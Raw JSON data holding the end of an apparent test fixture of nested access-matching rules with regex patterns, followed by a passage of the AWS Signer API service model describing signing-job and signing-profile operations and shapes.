]\n },\n {\n \"AND\": [\n {\n \"MATCH$\": {\n \"test\": {\n \"new\": {\n \"test2\": [\"r'^[a-z]*$'\"]\n }\n }\n }\n },\n {\n \"MATCH$\": {\n \"test\": {\n \"new\": {\n \"test3\": {\n \"test4\": [\"r'^[a-z]*$'\"]\n }\n }\n }\n }\n }\n ]\n }\n ]\n }]\n },\n {\n \"id\": \"8\",\n \"name\": \"Seventh\",\n \"rules\": [{\n \"AND\": [\n {\n \"AND\": [\n {\n \"MATCH$\": {\n \"office\": \"r'^[0-9]*'$\",\n \"disabled\": false\n }\n }\n ]\n },\n {\n \"AND\": [\n {\n \"MATCH\": {\n \"bindings\": {\n \"r'^auth[a-zA-Z]+$'\": [\"r'^[a-z]+$'\"],\n \"r'^area$'\": [\"r'^[a-z]*$'\"]\n }\n }\n },\n {\n \"FIND\": {\n \"department\": [\"Technical\"],\n \"office\": \"20\"\n }\n }\n ]\n },\n {\n \"AND\": [\n {\n \"MATCH\": {\n \"test\": {\n \"new\": {\n \"test2\": [\"r'^[a-z]*$'\"]\n }\n }\n }\n },\n {\n \"MATCH\": {\n \"test\": {\n \"new\": {\n \"test3\": {\n \"test4\": [\"r'^[a-z]*$'\"]\n }\n }\n }\n }\n }\n ]\n }\n ]\n }]\n },\n {\n \"id\": \"9\",\n \"name\": \"Eighth\",\n \"rules\": [\n {\n \"AND\": [\n {\n \"FIND\":\n {\n \"last\": \"not too deep\"\n }\n }\n ]\n }\n ]\n },\n {\n \"id\": \"10\",\n \"name\": \"Nineth\",\n \"rules\": [{\n \"AND\": [\n {\n \"FIND$\":\n {\n \"last\": \"not too deep\"\n }\n }\n ]\n }]\n },\n {\n \"id\": \"11\",\n \"name\": \"Tenth\",\n \"rules\": [{\n \"AND\": [\n {\n \"MATCH\":\n {\n \"deep\": {\n \"deeep\": [\n {\n \"moredeep\": [\n {\n \"toodeep\": [\n {\n \"insanedeep\": [\n {\n \"nocomments\": {\n \"last\": \"not too deep\"\n }\n }\n ]\n }\n ]\n }\n ]\n }\n ]\n }\n }\n }\n ]\n }]\n },\n {\n \"id\": \"12\",\n \"name\": \"Eleventh\",\n \"rules\": [{\n \"AND\": [\n {\n \"MATCH\":\n {\n \"deep\": {\n \"deeep\": [\n {\n \"moredeep\": [\n {\n \"toodeep\": [\n {\n \"insanedeep\": [\n {\n \"nocomments\": {\n \"last\": \"too deep\"\n }\n }\n ]\n }\n ]\n }\n ]\n }\n ]\n }\n }\n }\n ]\n }]\n },\n {\n \"id\": \"13\",\n \"name\": \"Twelfth\",\n \"rules\": [{\n \"AND\": [\n {\n \"FIND\":\n {\n \"deep\": {\n \"deeep\": {\n \"moredeep\": [\n {\n \"toodeep\": [\n {\n \"insanedeep\": [\n {\n \"nocomments\": {\n \"last\": \"too deep\"\n }\n }\n ]\n }\n ]\n }\n ]\n }\n }\n }\n }\n ]\n }]\n },\n {\n \"id\": \"14\",\n \"name\": \"Thirteenth\",\n \"rules\": [{\n \"AND\": [\n {\n \"MATCH\":\n {\n \"deep\": {\n \"deeep\": [\n {\n \"moredeep\": [\n {\n \"toodeep\": [\n {\n \"insanedeep\": [\n {\n \"nocomments\": {\n \"last\": \"not too deep\"\n }\n }\n ]\n }\n ]\n }\n ]\n }\n ]\n }\n }\n },\n {\n \"MATCH\": {\n \"user\": \"r'^[a-z]{2}ep\"\n }\n },\n {\n \"NOT\": {\n \"user\": \"peed\"\n }\n }\n ]\n }]\n },\n {\n \"id\": \"15\",\n \"name\": \"Fourteenth\",\n \"rules\": [\n {\n \"AND\": [\n {\n \"FIND$\":\n {\n \"deep\": {\n \"deeep\": [\n {\n \"moredeep\": [\n {\n \"toodeep\": [\n {\n \"nocomments\": {\n \"last\": \"not too deep\"\n }\n }\n ]\n }\n ]\n }\n ]\n }\n }\n },\n {\n \"MATCH\": {\n \"user\": \"r'^[a-z]{2}ep\"\n }\n },\n {\n \"NOT\": {\n \"user\": \"peed\"\n }\n }\n ]\n }\n ]\n },\n {\n \"id\": \"16\",\n \"name\": \"Fifteenth\",\n \"rules\": [\n {\n \"FIND$\": {\n \"name\": \"r'^[[a-z]*'\"\n }\n }\n ]\n },\n {\n \"id\": \"17\",\n \"name\": \"Sixteenth\",\n \"rules\": [\n {\n \"FIND$\": {\n \"test\": \"Old\"\n }\n },\n {\n \"FIND\": {\n \"r'^auth[a-zA-Z]+$'\": [\n \"testing\"\n ]\n }\n },\n {\n \"FIND\": {\n \"authLevel\": [\"basic1\"]\n }\n }\n ]\n }\n]\n"} {"text": "{\n \"version\":\"2.0\",\n \"metadata\":{\n \"apiVersion\":\"2017-08-25\",\n \"endpointPrefix\":\"signer\",\n \"jsonVersion\":\"1.1\",\n \"protocol\":\"rest-json\",\n \"serviceAbbreviation\":\"signer\",\n \"serviceFullName\":\"AWS Signer\",\n \"serviceId\":\"signer\",\n \"signatureVersion\":\"v4\",\n \"signingName\":\"signer\",\n \"uid\":\"signer-2017-08-25\"\n },\n \"operations\":{\n \"CancelSigningProfile\":{\n \"name\":\"CancelSigningProfile\",\n \"http\":{\n \"method\":\"DELETE\",\n \"requestUri\":\"/signing-profiles/{profileName}\"\n },\n \"input\":{\"shape\":\"CancelSigningProfileRequest\"},\n \"errors\":[\n {\"shape\":\"ResourceNotFoundException\"},\n {\"shape\":\"AccessDeniedException\"},\n {\"shape\":\"ThrottlingException\"},\n {\"shape\":\"InternalServiceErrorException\"}\n ],\n \"documentation\":\"<p>Changes the state of an <code>ACTIVE</code> signing profile to <code>CANCELED</code>. A canceled profile is still viewable with the <code>ListSigningProfiles</code> operation, but it cannot perform new signing jobs, and is deleted two years after cancelation.</p>\"\n },\n \"DescribeSigningJob\":{\n \"name\":\"DescribeSigningJob\",\n \"http\":{\n \"method\":\"GET\",\n \"requestUri\":\"/signing-jobs/{jobId}\"\n },\n \"input\":{\"shape\":\"DescribeSigningJobRequest\"},\n \"output\":{\"shape\":\"DescribeSigningJobResponse\"},\n \"errors\":[\n {\"shape\":\"ResourceNotFoundException\"},\n {\"shape\":\"AccessDeniedException\"},\n {\"shape\":\"InternalServiceErrorException\"}\n ],\n \"documentation\":\"<p>Returns information about a specific code signing job. You specify the job by using the <code>jobId</code> value that is returned by the <a>StartSigningJob</a> operation. </p>\"\n },\n \"GetSigningPlatform\":{\n \"name\":\"GetSigningPlatform\",\n \"http\":{\n \"method\":\"GET\",\n \"requestUri\":\"/signing-platforms/{platformId}\"\n },\n \"input\":{\"shape\":\"GetSigningPlatformRequest\"},\n \"output\":{\"shape\":\"GetSigningPlatformResponse\"},\n \"errors\":[\n {\"shape\":\"ResourceNotFoundException\"},\n {\"shape\":\"AccessDeniedException\"},\n {\"shape\":\"InternalServiceErrorException\"}\n ],\n \"documentation\":\"<p>Returns information on a specific signing platform.</p>\"\n },\n \"GetSigningProfile\":{\n \"name\":\"GetSigningProfile\",\n \"http\":{\n \"method\":\"GET\",\n \"requestUri\":\"/signing-profiles/{profileName}\"\n },\n \"input\":{\"shape\":\"GetSigningProfileRequest\"},\n \"output\":{\"shape\":\"GetSigningProfileResponse\"},\n \"errors\":[\n {\"shape\":\"ResourceNotFoundException\"},\n {\"shape\":\"AccessDeniedException\"},\n {\"shape\":\"ThrottlingException\"},\n {\"shape\":\"InternalServiceErrorException\"}\n ],\n \"documentation\":\"<p>Returns information on a specific signing profile.</p>\"\n },\n \"ListSigningJobs\":{\n \"name\":\"ListSigningJobs\",\n \"http\":{\n \"method\":\"GET\",\n \"requestUri\":\"/signing-jobs\"\n },\n \"input\":{\"shape\":\"ListSigningJobsRequest\"},\n \"output\":{\"shape\":\"ListSigningJobsResponse\"},\n \"errors\":[\n {\"shape\":\"ValidationException\"},\n {\"shape\":\"AccessDeniedException\"},\n {\"shape\":\"ThrottlingException\"},\n {\"shape\":\"InternalServiceErrorException\"}\n ],\n \"documentation\":\"<p>Lists all your signing jobs. You can use the <code>maxResults</code> parameter to limit the number of signing jobs that are returned in the response. If additional jobs remain to be listed, code signing returns a <code>nextToken</code> value. Use this value in subsequent calls to <code>ListSigningJobs</code> to fetch the remaining values. You can continue calling <code>ListSigningJobs</code> with your <code>maxResults</code> parameter and with new values that code signing returns in the <code>nextToken</code> parameter until all of your signing jobs have been returned. </p>\"\n },\n \"ListSigningPlatforms\":{\n \"name\":\"ListSigningPlatforms\",\n \"http\":{\n \"method\":\"GET\",\n \"requestUri\":\"/signing-platforms\"\n },\n \"input\":{\"shape\":\"ListSigningPlatformsRequest\"},\n \"output\":{\"shape\":\"ListSigningPlatformsResponse\"},\n \"errors\":[\n {\"shape\":\"ValidationException\"},\n {\"shape\":\"AccessDeniedException\"},\n {\"shape\":\"ThrottlingException\"},\n {\"shape\":\"InternalServiceErrorException\"}\n ],\n \"documentation\":\"<p>Lists all signing platforms available in code signing that match the request parameters. If additional jobs remain to be listed, code signing returns a <code>nextToken</code> value. Use this value in subsequent calls to <code>ListSigningJobs</code> to fetch the remaining values. You can continue calling <code>ListSigningJobs</code> with your <code>maxResults</code> parameter and with new values that code signing returns in the <code>nextToken</code> parameter until all of your signing jobs have been returned.</p>\"\n },\n \"ListSigningProfiles\":{\n \"name\":\"ListSigningProfiles\",\n \"http\":{\n \"method\":\"GET\",\n \"requestUri\":\"/signing-profiles\"\n },\n \"input\":{\"shape\":\"ListSigningProfilesRequest\"},\n \"output\":{\"shape\":\"ListSigningProfilesResponse\"},\n \"errors\":[\n {\"shape\":\"AccessDeniedException\"},\n {\"shape\":\"ThrottlingException\"},\n {\"shape\":\"InternalServiceErrorException\"}\n ],\n \"documentation\":\"<p>Lists all available signing profiles in your AWS account. Returns only profiles with an <code>ACTIVE</code> status unless the <code>includeCanceled</code> request field is set to <code>true</code>. If additional jobs remain to be listed, code signing returns a <code>nextToken</code> value. Use this value in subsequent calls to <code>ListSigningJobs</code> to fetch the remaining values. You can continue calling <code>ListSigningJobs</code> with your <code>maxResults</code> parameter and with new values that code signing returns in the <code>nextToken</code> parameter until all of your signing jobs have been returned.</p>\"\n },\n \"ListTagsForResource\":{\n \"name\":\"ListTagsForResource\",\n \"http\":{\n \"method\":\"GET\",\n \"requestUri\":\"/tags/{resourceArn}\"\n },\n \"input\":{\"shape\":\"ListTagsForResourceRequest\"},\n \"output\":{\"shape\":\"ListTagsForResourceResponse\"},\n \"errors\":[\n {\"shape\":\"InternalServiceErrorException\"},\n {\"shape\":\"BadRequestException\"},\n {\"shape\":\"NotFoundException\"}\n ],\n \"documentation\":\"<p>Returns a list of the tags associated with a signing profile resource.</p>\"\n },\n \"PutSigningProfile\":{\n \"name\":\"PutSigningProfile\",\n \"http\":{\n \"method\":\"PUT\",\n \"requestUri\":\"/signing-profiles/{profileName}\"\n },\n \"input\":{\"shape\":\"PutSigningProfileRequest\"},\n \"output\":{\"shape\":\"PutSigningProfileResponse\"},\n \"errors\":[\n {\"shape\":\"ResourceNotFoundException\"},\n {\"shape\":\"AccessDeniedException\"},\n {\"shape\":\"ValidationException\"},\n {\"shape\":\"ThrottlingException\"},\n {\"shape\":\"InternalServiceErrorException\"}\n ],\n \"documentation\":\"<p>Creates a signing profile. A signing profile is a code signing template that can be used to carry out a pre-defined signing job. For more information, see <a href=\\\"http://docs.aws.amazon.com/signer/latest/developerguide/gs-profile.html\\\">http://docs.aws.amazon.com/signer/latest/developerguide/gs-profile.html</a> </p>\"\n },\n \"StartSigningJob\":{\n \"name\":\"StartSigningJob\",\n \"http\":{\n \"method\":\"POST\",\n \"requestUri\":\"/signing-jobs\"\n },\n \"input\":{\"shape\":\"StartSigningJobRequest\"},\n \"output\":{\"shape\":\"StartSigningJobResponse\"},\n \"errors\":[\n {\"shape\":\"ValidationException\"},\n {\"shape\":\"ResourceNotFoundException\"},\n {\"shape\":\"AccessDeniedException\"},\n {\"shape\":\"ThrottlingException\"},\n {\"shape\":\"InternalServiceErrorException\"}\n ],\n \"documentation\":\"<p>Initiates a signing job to be performed on the code provided. Signing jobs are viewable by the <code>ListSigningJobs</code> operation for two years after they are performed. Note the following requirements: </p> <ul> <li> <p> You must create an Amazon S3 source bucket. For more information, see <a href=\\\"http://docs.aws.amazon.com/AmazonS3/latest/gsg/CreatingABucket.html\\\">Create a Bucket</a> in the <i>Amazon S3 Getting Started Guide</i>. </p> </li> <li> <p>Your S3 source bucket must be version enabled.</p> </li> <li> <p>You must create an S3 destination bucket. Code signing uses your S3 destination bucket to write your signed code.</p> </li> <li> <p>You specify the name of the source and destination buckets when calling the <code>StartSigningJob</code> operation.</p> </li> <li> <p>You must also specify a request token that identifies your request to code signing.</p> </li> </ul> <p>You can call the <a>DescribeSigningJob</a> and the <a>ListSigningJobs</a> actions after you call <code>StartSigningJob</code>.</p> <p>For a Java example that shows how to use this action, see <a href=\\\"http://docs.aws.amazon.com/acm/latest/userguide/\\\">http://docs.aws.amazon.com/acm/latest/userguide/</a> </p>\"\n },\n \"TagResource\":{\n \"name\":\"TagResource\",\n \"http\":{\n \"method\":\"POST\",\n \"requestUri\":\"/tags/{resourceArn}\"\n },\n \"input\":{\"shape\":\"TagResourceRequest\"},\n \"output\":{\"shape\":\"TagResourceResponse\"},\n \"errors\":[\n {\"shape\":\"InternalServiceErrorException\"},\n {\"shape\":\"BadRequestException\"},\n {\"shape\":\"NotFoundException\"}\n ],\n \"documentation\":\"<p>Adds one or more tags to a signing profile. Tags are labels that you can use to identify and organize your AWS resources. Each tag consists of a key and an optional value. To specify the signing profile, use its Amazon Resource Name (ARN). To specify the tag, use a key-value pair.</p>\"\n },\n \"UntagResource\":{\n \"name\":\"UntagResource\",\n \"http\":{\n \"method\":\"DELETE\",\n \"requestUri\":\"/tags/{resourceArn}\"\n },\n \"input\":{\"shape\":\"UntagResourceRequest\"},\n \"output\":{\"shape\":\"UntagResourceResponse\"},\n \"errors\":[\n {\"shape\":\"InternalServiceErrorException\"},\n {\"shape\":\"BadRequestException\"},\n {\"shape\":\"NotFoundException\"}\n ],\n \"documentation\":\"<p>Removes one or more tags from a signing profile. To remove the tags, specify a list of tag keys.</p>\"\n }\n },\n \"shapes\":{\n \"key\":{\"type\":\"string\"},\n \"AccessDeniedException\":{\n \"type\":\"structure\",\n \"members\":{\n \"message\":{\"shape\":\"ErrorMessage\"}\n },\n \"documentation\":\"<p>You do not have sufficient access to perform this action.</p>\",\n \"error\":{\"httpStatusCode\":403},\n \"exception\":true\n },\n \"BadRequestException\":{\n \"type\":\"structure\",\n \"members\":{\n \"message\":{\"shape\":\"ErrorMessage\"}\n },\n \"documentation\":\"<p>The request contains invalid parameters for the ARN or tags. This exception also occurs when you call a tagging API on a cancelled signing profile.</p>\",\n \"error\":{\"httpStatusCode\":400},\n \"exception\":true\n },\n \"BucketName\":{\"type\":\"string\"},\n \"CancelSigningProfileRequest\":{\n \"type\":\"structure\",\n \"required\":[\"profileName\"],\n \"members\":{\n \"profileName\":{\n \"shape\":\"ProfileName\",\n \"documentation\":\"<p>The name of the signing profile to be canceled.</p>\",\n \"location\":\"uri\",\n \"locationName\":\"profileName\"\n }\n }\n },\n \"Category\":{\n \"type\":\"string\",\n \"enum\":[\"AWSIoT\"]\n },\n \"CertificateArn\":{\"type\":\"string\"},\n \"ClientRequestToken\":{\"type\":\"string\"},\n \"CompletedAt\":{\"type\":\"timestamp\"},\n \"CreatedAt\":{\"type\":\"timestamp\"},\n \"DescribeSigningJobRequest\":{\n \"type\":\"structure\",\n \"required\":[\"jobId\"],\n \"members\":{\n \"jobId\":{\n \"shape\":\"JobId\",\n \"documentation\":\"<p>The ID of the signing job on input.</p>\",\n \"location\":\"uri\",\n \"locationName\":\"jobId\"\n }\n }\n },\n \"DescribeSigningJobResponse\":{\n \"type\":\"structure\",\n \"members\":{\n \"jobId\":{\n \"shape\":\"JobId\",\n \"documentation\":\"<p>The ID of the signing job on output.</p>\"\n },\n \"source\":{\n \"shape\":\"Source\",\n \"documentation\":\"<p>The object that contains the name of your S3 bucket or your raw code.</p>\"\n },\n \"signingMaterial\":{\n \"shape\":\"SigningMaterial\",\n \"documentation\":\"<p>The Amazon Resource Name (ARN) of your code signing certificate.</p>\"\n },\n \"platformId\":{\n \"shape\":\"PlatformId\",\n \"documentation\":\"<p>The microcontroller platform to which your signed code image will be distributed.</p>\"\n },\n \"profileName\":{\n \"shape\":\"ProfileName\",\n \"documentation\":\"<p>The name of the profile that initiated the signing operation.</p>\"\n },\n \"overrides\":{\n \"shape\":\"SigningPlatformOverrides\",\n \"documentation\":\"<p>A list of any overrides that were applied to the signing operation.</p>\"\n },\n \"signingParameters\":{\n \"shape\":\"SigningParameters\",\n \"documentation\":\"<p>Map of user-assigned key-value pairs used during signing. These values contain any information that you specified for use in your signing job. </p>\"\n },\n \"createdAt\":{\n \"shape\":\"CreatedAt\",\n \"documentation\":\"<p>Date and time that the signing job was created.</p>\"\n },\n \"completedAt\":{\n \"shape\":\"CompletedAt\",\n \"documentation\":\"<p>Date and time that the signing job was completed.</p>\"\n },\n \"requestedBy\":{\n \"shape\":\"RequestedBy\",\n \"documentation\":\"<p>The IAM principal that requested the signing job.</p>\"\n },\n \"status\":{\n \"shape\":\"SigningStatus\",\n \"documentation\":\"<p>Status of the signing job.</p>\"\n },\n \"statusReason\":{\n \"shape\":\"StatusReason\",\n \"documentation\":\"<p>String value that contains the status reason.</p>\"\n },\n \"signedObject\":{\n \"shape\":\"SignedObject\",\n \"documentation\":\"<p>Name of the S3 bucket where the signed code image is saved by code signing.</p>\"\n }\n }\n },\n \"Destination\":{\n \"type\":\"structure\",\n \"members\":{\n \"s3\":{\n \"shape\":\"S3Destination\",\n \"documentation\":\"<p>The <code>S3Destination</code> object.</p>\"\n }\n },\n \"documentation\":\"<p>Points to an <code>S3Destination</code> object that contains information about your S3 bucket.</p>\"\n },\n \"DisplayName\":{\"type\":\"string\"},\n \"EncryptionAlgorithm\":{\n \"type\":\"string\",\n \"enum\":[\n \"RSA\",\n \"ECDSA\"\n ]\n },\n \"EncryptionAlgorithmOptions\":{\n \"type\":\"structure\",\n \"required\":[\n \"allowedValues\",\n \"defaultValue\"\n ],\n \"members\":{\n \"allowedValues\":{\n \"shape\":\"EncryptionAlgorithms\",\n \"documentation\":\"<p>The set of accepted encryption algorithms that are allowed in a code signing job.</p>\"\n },\n \"defaultValue\":{\n \"shape\":\"EncryptionAlgorithm\",\n \"documentation\":\"<p>The default encryption algorithm that is used by a code signing job.</p>\"\n }\n },\n \"documentation\":\"<p>The encryption algorithm options that are available to a code signing job.</p>\"\n },\n \"EncryptionAlgorithms\":{\n \"type\":\"list\",\n \"member\":{\"shape\":\"EncryptionAlgorithm\"}\n },\n \"ErrorMessage\":{\"type\":\"string\"},\n \"GetSigningPlatformRequest\":{\n \"type\":\"structure\",\n \"required\":[\"platformId\"],\n \"members\":{\n \"platformId\":{\n \"shape\":\"PlatformId\",\n \"documentation\":\"<p>The ID of the target signing platform.</p>\",\n \"location\":\"uri\",\n \"locationName\":\"platformId\"\n }\n }\n },\n \"GetSigningPlatformResponse\":{\n \"type\":\"structure\",\n \"members\":{\n \"platformId\":{\n \"shape\":\"PlatformId\",\n \"documentation\":\"<p>The ID of the target signing platform.</p>\"\n },\n \"displayName\":{\n \"shape\":\"DisplayName\",\n \"documentation\":\"<p>The display name of the target signing platform.</p>\"\n },\n \"partner\":{\n \"shape\":\"String\",\n \"documentation\":\"<p>A list of partner entities that use the target signing platform.</p>\"\n },\n \"target\":{\n \"shape\":\"String\",\n \"documentation\":\"<p>The validation template that is used by the target signing platform.</p>\"\n },\n \"category\":{\n \"shape\":\"Category\",\n \"documentation\":\"<p>The category type of the target signing platform.</p>\"\n },\n \"signingConfiguration\":{\n \"shape\":\"SigningConfiguration\",\n \"documentation\":\"<p>A list of configurations applied to the target platform at signing.</p>\"\n },\n \"signingImageFormat\":{\n \"shape\":\"SigningImageFormat\",\n \"documentation\":\"<p>The format of the target platform's signing image.</p>\"\n },\n \"maxSizeInMB\":{\n \"shape\":\"MaxSizeInMB\",\n \"documentation\":\"<p>The maximum size (in MB) of the payload that can be signed by the target platform.</p>\"\n }\n }\n },\n \"GetSigningProfileRequest\":{\n \"type\":\"structure\",\n \"required\":[\"profileName\"],\n \"members\":{\n \"profileName\":{\n \"shape\":\"ProfileName\",\n \"documentation\":\"<p>The name of the target signing profile.</p>\",\n \"location\":\"uri\",\n \"locationName\":\"profileName\"\n }\n }\n },\n \"GetSigningProfileResponse\":{\n \"type\":\"structure\",\n \"members\":{\n \"profileName\":{\n \"shape\":\"ProfileName\",\n \"documentation\":\"<p>The name of the target signing profile.</p>\"\n },\n \"signingMaterial\":{\n \"shape\":\"SigningMaterial\",\n \"documentation\":\"<p>The ARN of the certificate that the target profile uses for signing operations.</p>\"\n },\n \"platformId\":{\n \"shape\":\"PlatformId\",\n \"documentation\":\"<p>The ID of the platform that is used by the target signing profile.</p>\"\n },\n \"overrides\":{\n \"shape\":\"SigningPlatformOverrides\",\n \"documentation\":\"<p>A list of overrides applied by the target signing profile for signing operations.</p>\"\n },\n \"signingParameters\":{\n \"shape\":\"SigningParameters\",\n \"documentation\":\"<p>A map of key-value pairs for signing operations that is attached to the target signing profile.</p>\"\n },\n \"status\":{\n \"shape\":\"SigningProfileStatus\",\n \"documentation\":\"<p>The status of the target signing profile.</p>\"\n },\n \"arn\":{\n \"shape\":\"string\",\n \"documentation\":\"<p>The Amazon Resource Name (ARN) for the signing profile.</p>\"\n },\n \"tags\":{\n \"shape\":\"TagMap\",\n \"documentation\":\"<p>A list of tags associated with the signing profile.</p>\"\n }\n }\n },\n \"HashAlgorithm\":{\n \"type\":\"string\",\n \"enum\":[\n \"SHA1\",\n \"SHA256\"\n ]\n },\n \"HashAlgorithmOptions\":{\n \"type\":\"structure\",\n \"required\":[\n \"allowedValues\",\n \"defaultValue\"\n ],\n \"members\":{\n \"allowedValues\":{\n \"shape\":\"HashAlgorithms\",\n \"documentation\":\"<p>The set of accepted hash algorithms allowed in a code signing job.</p>\"\n },\n \"defaultValue\":{\n \"shape\":\"HashAlgorithm\",\n \"documentation\":\"<p>The default hash algorithm that is used in a code signing job.</p>\"\n }\n },\n \"documentation\":\"<p>The hash algorithms that are available to a code signing job.</p>\"\n },\n \"HashAlgorithms\":{\n \"type\":\"list\",\n \"member\":{\"shape\":\"HashAlgorithm\"}\n },\n \"ImageFormat\":{\n \"type\":\"string\",\n \"enum\":[\n \"JSON\",\n \"JSONEmbedded\",\n \"JSONDetached\"\n ]\n },\n \"ImageFormats\":{\n \"type\":\"list\",\n \"member\":{\"shape\":\"ImageFormat\"}\n },\n \"InternalServiceErrorException\":{\n \"type\":\"structure\",\n \"members\":{\n \"message\":{\"shape\":\"ErrorMessage\"}\n },\n \"documentation\":\"<p>An internal error occurred.</p>\",\n \"error\":{\"httpStatusCode\":500},\n \"exception\":true\n },\n \"JobId\":{\"type\":\"string\"},\n \"Key\":{\"type\":\"string\"},\n \"ListSigningJobsRequest\":{\n \"type\":\"structure\",\n \"members\":{\n \"status\":{\n \"shape\":\"SigningStatus\",\n \"documentation\":\"<p>A status value with which to filter your results.</p>\",\n \"location\":\"querystring\",\n \"locationName\":\"status\"\n },\n \"platformId\":{\n \"shape\":\"PlatformId\",\n \"documentation\":\"<p>The ID of microcontroller platform that you specified for the distribution of your code image.</p>\",\n \"location\":\"querystring\",\n \"locationName\":\"platformId\"\n },\n \"requestedBy\":{\n \"shape\":\"RequestedBy\",\n \"documentation\":\"<p>The IAM principal that requested the signing job.</p>\",\n \"location\":\"querystring\",\n \"locationName\":\"requestedBy\"\n },\n \"maxResults\":{\n \"shape\":\"MaxResults\",\n \"documentation\":\"<p>Specifies the maximum number of items to return in the response. Use this parameter when paginating results. If additional items exist beyond the number you specify, the <code>nextToken</code> element is set in the response. Use the <code>nextToken</code> value in a subsequent request to retrieve additional items. </p>\",\n \"location\":\"querystring\",\n \"locationName\":\"maxResults\"\n },\n \"nextToken\":{\n \"shape\":\"NextToken\",\n \"documentation\":\"<p>String for specifying the next set of paginated results to return. After you receive a response with truncated results, use this parameter in a subsequent request. Set it to the value of <code>nextToken</code> from the response that you just received.</p>\",\n \"location\":\"querystring\",\n \"locationName\":\"nextToken\"\n }\n }\n },\n \"ListSigningJobsResponse\":{\n \"type\":\"structure\",\n \"members\":{\n \"jobs\":{\n \"shape\":\"SigningJobs\",\n \"documentation\":\"<p>A list of your signing jobs.</p>\"\n },\n \"nextToken\":{\n \"shape\":\"NextToken\",\n \"documentation\":\"<p>String for specifying the next set of paginated results.</p>\"\n }\n }\n },\n \"ListSigningPlatformsRequest\":{\n \"type\":\"structure\",\n \"members\":{\n \"category\":{\n \"shape\":\"String\",\n \"documentation\":\"<p>The category type of a signing platform.</p>\",\n \"location\":\"querystring\",\n \"locationName\":\"category\"\n },\n \"partner\":{\n \"shape\":\"String\",\n \"documentation\":\"<p>Any partner entities connected to a signing platform.</p>\",\n \"location\":\"querystring\",\n \"locationName\":\"partner\"\n },\n \"target\":{\n \"shape\":\"String\",\n \"documentation\":\"<p>The validation template that is used by the target signing platform.</p>\",\n \"location\":\"querystring\",\n \"locationName\":\"target\"\n },\n \"maxResults\":{\n \"shape\":\"MaxResults\",\n \"documentation\":\"<p>The maximum number of results to be returned by this operation.</p>\",\n \"location\":\"querystring\",\n \"locationName\":\"maxResults\"\n },\n \"nextToken\":{\n \"shape\":\"String\",\n \"documentation\":\"<p>Value for specifying the next set of paginated results to return. After you receive a response with truncated results, use this parameter in a subsequent request. Set it to the value of <code>nextToken</code> from the response that you just received.</p>\",\n \"location\":\"querystring\",\n \"locationName\":\"nextToken\"\n }\n }\n },\n \"ListSigningPlatformsResponse\":{\n \"type\":\"structure\",\n \"members\":{\n \"platforms\":{\n \"shape\":\"SigningPlatforms\",\n \"documentation\":\"<p>A list of all platforms that match the request parameters.</p>\"\n },\n \"nextToken\":{\n \"shape\":\"String\",\n \"documentation\":\"<p>Value for specifying the next set of paginated results to return.</p>\"\n }\n }\n },\n \"ListSigningProfilesRequest\":{\n \"type\":\"structure\",\n \"members\":{\n \"includeCanceled\":{\n \"shape\":\"bool\",\n \"documentation\":\"<p>Designates whether to include profiles with the status of <code>CANCELED</code>.</p>\",\n \"location\":\"querystring\",\n \"locationName\":\"includeCanceled\"\n },\n \"maxResults\":{\n \"shape\":\"MaxResults\",\n \"documentation\":\"<p>The maximum number of profiles to be returned.</p>\",\n \"location\":\"querystring\",\n \"locationName\":\"maxResults\"\n },\n \"nextToken\":{\n \"shape\":\"NextToken\",\n \"documentation\":\"<p>Value for specifying the next set of paginated results to return. After you receive a response with truncated results, use this parameter in a subsequent request. Set it to the value of <code>nextToken</code> from the response that you just received.</p>\",\n \"location\":\"querystring\",\n \"locationName\":\"nextToken\"\n }\n }\n },\n \"ListSigningProfilesResponse\":{\n \"type\":\"structure\",\n \"members\":{\n \"profiles\":{\n \"shape\":\"SigningProfiles\",\n \"documentation\":\"<p>A list of profiles that are available in the AWS account. This includes profiles with the status of <code>CANCELED</code> if the <code>includeCanceled</code> parameter is set to <code>true</code>.</p>\"\n },\n \"nextToken\":{\n \"shape\":\"NextToken\",\n \"documentation\":\"<p>Value for specifying the next set of paginated results to return.</p>\"\n }\n }\n },\n \"ListTagsForResourceRequest\":{\n \"type\":\"structure\",\n \"required\":[\"resourceArn\"],\n \"members\":{\n \"resourceArn\":{\n \"shape\":\"String\",\n \"documentation\":\"<p>The Amazon Resource Name (ARN) for the signing profile.</p>\",\n \"location\":\"uri\",\n \"locationName\":\"resourceArn\"\n }\n }\n },\n \"ListTagsForResourceResponse\":{\n \"type\":\"structure\",\n \"members\":{\n \"tags\":{\n \"shape\":\"TagMap\",\n \"documentation\":\"<p>A list of tags associated with the signing profile.</p>\"\n }\n }\n },\n \"MaxResults\":{\n \"type\":\"integer\",\n \"box\":true,\n \"max\":25,\n \"min\":1\n },\n \"MaxSizeInMB\":{\"type\":\"integer\"},\n \"NextToken\":{\"type\":\"string\"},\n \"NotFoundException\":{\n \"type\":\"structure\",\n \"members\":{\n \"message\":{\"shape\":\"ErrorMessage\"}\n },\n \"documentation\":\"<p>The signing profile was not found.</p>\",\n \"error\":{\"httpStatusCode\":404},\n \"exception\":true\n },\n \"PlatformId\":{\"type\":\"string\"},\n \"Prefix\":{\"type\":\"string\"},\n \"ProfileName\":{\n \"type\":\"string\",\n \"max\":64,\n \"min\":2,\n \"pattern\":\"^[a-zA-Z0-9_]{2,}\"\n },\n \"PutSigningProfileRequest\":{\n \"type\":\"structure\",\n \"required\":[\n \"profileName\",\n \"signingMaterial\",\n \"platformId\"\n ],\n \"members\":{\n \"profileName\":{\n \"shape\":\"ProfileName\",\n \"documentation\":\"<p>The name of the signing profile to be created.</p>\",\n \"location\":\"uri\",\n \"locationName\":\"profileName\"\n },\n \"signingMaterial\":{\n \"shape\":\"SigningMaterial\",\n \"documentation\":\"<p>The AWS Certificate Manager certificate that will be used to sign code with the new signing profile.</p>\"\n },\n \"platformId\":{\n \"shape\":\"PlatformId\",\n \"documentation\":\"<p>The ID of the signing platform to be created.</p>\"\n },\n \"overrides\":{\n \"shape\":\"SigningPlatformOverrides\",\n \"documentation\":\"<p>A subfield of <code>platform</code>. This specifies any different configuration options that you want to apply to the chosen platform (such as a different <code>hash-algorithm</code> or <code>signing-algorithm</code>).</p>\"\n },\n \"signingParameters\":{\n \"shape\":\"SigningParameters\",\n \"documentation\":\"<p>Map of key-value pairs for signing. These can include any information that you want to use during signing.</p>\"\n },\n \"tags\":{\n \"shape\":\"TagMap\",\n \"documentation\":\"<p>Tags to be associated with the signing profile that is being created.</p>\"\n }\n }\n },\n \"PutSigningProfileResponse\":{\n \"type\":\"structure\",\n \"members\":{\n \"arn\":{\n \"shape\":\"string\",\n \"documentation\":\"<p>The Amazon Resource Name (ARN) of the signing 